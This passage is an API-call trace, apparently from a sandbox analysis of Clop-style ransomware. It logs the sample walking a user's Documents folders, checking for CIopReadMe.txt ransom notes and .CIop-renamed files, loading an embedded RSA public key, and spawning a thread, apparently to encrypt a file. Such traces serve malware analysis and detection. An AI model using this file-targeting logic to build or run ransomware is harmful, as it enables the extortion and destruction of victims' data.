lpString2="..") returned 1 [0148.671] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0148.671] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0148.671] SetErrorMode (uMode=0x1) returned 0x1 [0148.671] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0148.671] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0148.671] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0148.671] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0148.671] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0148.671] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0148.671] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.671] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.672] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.672] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.672] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.672] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.672] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0148.672] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0148.672] lstrlenW (lpString="desktop.ini") returned 11 [0148.672] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.672] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0148.672] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0148.672] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0148.672] Sleep (dwMilliseconds=0xd) [0148.700] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0148.700] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0148.700] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0148.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0148.701] SetErrorMode (uMode=0x1) returned 0x1 [0148.701] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0148.701] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0148.701] CloseHandle (hObject=0x6c8) returned 1 [0148.701] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.701] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.701] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.701] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0148.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0148.701] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dfb8 [0148.701] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0148.701] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0148.701] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.701] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.701] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0148.701] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0148.701] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0148.701] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0148.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0148.702] SetErrorMode (uMode=0x1) returned 0x1 [0148.702] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0148.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0148.702] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0148.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0148.702] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0148.702] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0148.702] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0148.702] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.702] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.702] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.702] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0148.702] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0148.702] lstrlenW (lpString=".CIop") returned 5 [0148.702] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.702] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.702] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.702] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0148.702] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0148.702] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0148.702] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0148.702] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0148.702] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.702] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.702] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.703] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.703] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.703] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.703] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0148.703] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0148.703] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.703] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0148.703] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0148.703] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0148.703] SetErrorMode (uMode=0x1) returned 0x1 [0148.703] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0148.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0148.703] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0148.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0148.703] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.703] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0148.703] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.703] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.703] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.703] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.703] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0148.703] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0148.703] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.703] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0148.704] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.704] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0148.704] SetErrorMode (uMode=0x1) returned 0x1 [0148.704] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0148.704] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0148.704] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0148.704] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0148.704] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0148.704] lstrlenW (lpString=".CIop") returned 5 [0148.704] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0148.704] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0148.704] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0148.704] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0148.704] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.704] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.704] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.704] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.704] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.704] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0148.704] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0148.704] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0148.704] SetErrorMode (uMode=0x1) returned 0x1 [0148.704] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0148.704] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0148.704] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0148.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dc78 [0148.705] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0148.705] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0148.705] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.705] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.705] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.705] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0148.705] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0148.705] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0148.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0148.705] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0148.705] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0148.705] FindNextFileW (in: 